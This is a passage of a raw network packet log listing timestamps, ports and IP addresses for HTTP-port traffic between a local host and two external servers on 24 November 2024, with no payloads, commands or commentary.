Nov 24, 2024 10:24:25.937721014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.937834978 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.937875986 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.938796997 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.938947916 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.939009905 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.939896107 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.940002918 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.940042019 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.940984011 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.941103935 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.941140890 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.942212105 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.942332029 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.942368984 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.943176985 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.943279982 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.943330050 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.944278002 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.944361925 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.944402933 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.945395947 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.945508957 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.945547104 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.946450949 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.946635962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.946675062 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.947572947 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.947693110 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.947740078 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.948632956 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.948750973 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.948791981 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.949743986 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.949830055 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.949867010 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.950933933 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.951023102 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.951065063 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.951980114 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.952119112 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.952159882 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.953020096 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.953082085 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.953130007 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.954133034 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.954219103 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.954260111 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.955190897 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.955332041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.955368996 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.956279993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.956398010 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.956435919 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.957554102 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.957703114 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.957741022 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.958503008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.958659887 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.958703041 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.959579945 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.959726095 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.959784031 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.960684061 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.960825920 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.960865974 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.961827993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.961941004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.961977959 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.962852001 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.962971926 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.963013887 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.963947058 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.964019060 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.964061975 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.965074062 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.965157032 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.965200901 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.966140032 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.966247082 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.966286898 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.967242956 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.967355967 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.967392921 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.968353987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.968482018 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.968521118 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.969420910 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.969527006 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.969572067 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.970510960 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.970686913 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.970725060 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.971623898 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.971836090 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.971879005 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.972738981 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.972825050 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.972865105 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.973798990 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.973865986 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.973901033 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.974884987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.974987030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.975023031 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.975985050 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.976088047 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.976123095 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.977034092 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.025085926 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.060348988 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.072789907 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.072824955 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.072851896 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.072873116 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.074227095 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.074273109 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.074773073 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.074830055 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.074836016 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.074877977 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.076543093 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.076597929 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.076634884 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.076695919 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.079524040 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.079575062 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.079585075 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.079626083 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.082503080 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.082570076 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.082624912 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.082667112 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.085508108 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.085561991 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.085589886 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.085629940 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.088561058 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.088615894 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.088685989 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.088730097 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.091561079 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.091573000 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.091614008 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.094440937 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.094501019 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.094537973 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.094583035 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.097404003 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.097469091 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.097512007 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.097554922 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.100419998 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.100431919 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.100476027 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.100503922 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.103323936 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.103375912 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.118586063 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.118662119 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.118690014 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.118733883 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.121400118 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.121519089 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.121586084 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.122035027 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.122165918 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.122205973 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.122940063 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.123064041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.123104095 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.124023914 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.124164104 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.124209881 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.125140905 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.125252008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.125294924 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.126224041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.126310110 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.126353025 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.127316952 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.127409935 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.127564907 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.128413916 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.128535986 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.128576994 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.129513025 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.129560947 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.129626036 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.130808115 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.130935907 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.130981922 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.131690979 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.131787062 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.131829023 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.132800102 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.132898092 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.132941008 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.133888006 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.134000063 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.134043932 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.135004044 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.135094881 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.135139942 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.136111975 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.136253119 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.136302948 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.137195110 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.137259960 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.137305021 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.138268948 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.138362885 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.138408899 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.139362097 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.139496088 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.139628887 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.140511036 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.140558004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.140610933 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.141524076 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.141638994 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.141678095 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.142611027 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.142729044 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.142767906 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.143981934 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.144085884 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.144134998 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.144838095 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.144937038 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.144983053 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.145905972 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.146048069 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.146095991 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.147022009 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.147154093 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.147202015 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.148130894 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.148180962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.148226976 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.149207115 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.149329901 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.149380922 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.150294065 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.150401115 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.150443077 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.151376963 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.151492119 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.151541948 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.152465105 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.152605057 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.152650118 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.153549910 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.153664112 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.153712034 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.154681921 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.154803991 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.154851913 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.155771017 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.155874014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.155916929 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.156866074 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.157041073 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.157082081 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.157936096 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.158051014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.158092022 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.159105062 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.159332991 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.159377098 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.160159111 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.160235882 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.160269976 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.161225080 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.161319017 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.161356926 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.162364006 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.162466049 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.162508011 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.163412094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.163535118 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.163589954 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.164494991 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.164623022 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.164674044 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.165597916 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.165704966 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.165750980 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.166696072 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.166829109 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.166872025 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.167793036 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.167893887 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.167937040 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.168864012 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.169020891 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.169059992 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.169987917 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.170087099 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.170125961 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.171066046 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.171175003 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.171221018 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.172157049 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.172346115 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.172386885 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.173571110 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.173769951 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.173810005 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.174972057 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.175112963 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.175154924 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.176100016 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.176122904 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.176161051 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.177026033 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.177098989 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.177145004 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.178030014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.178163052 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.178205967 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.178919077 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.193346024 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.284440994 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.284506083 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.284559965 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.284605980 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.286026001 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.286180019 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.286511898 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.286612988 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.286614895 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.286650896 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.289597034 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.289614916 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.289639950 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.289657116 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.291790962 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.291898012 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.291898012 CET	49845	80	192.168.2.5	185.215.113.16
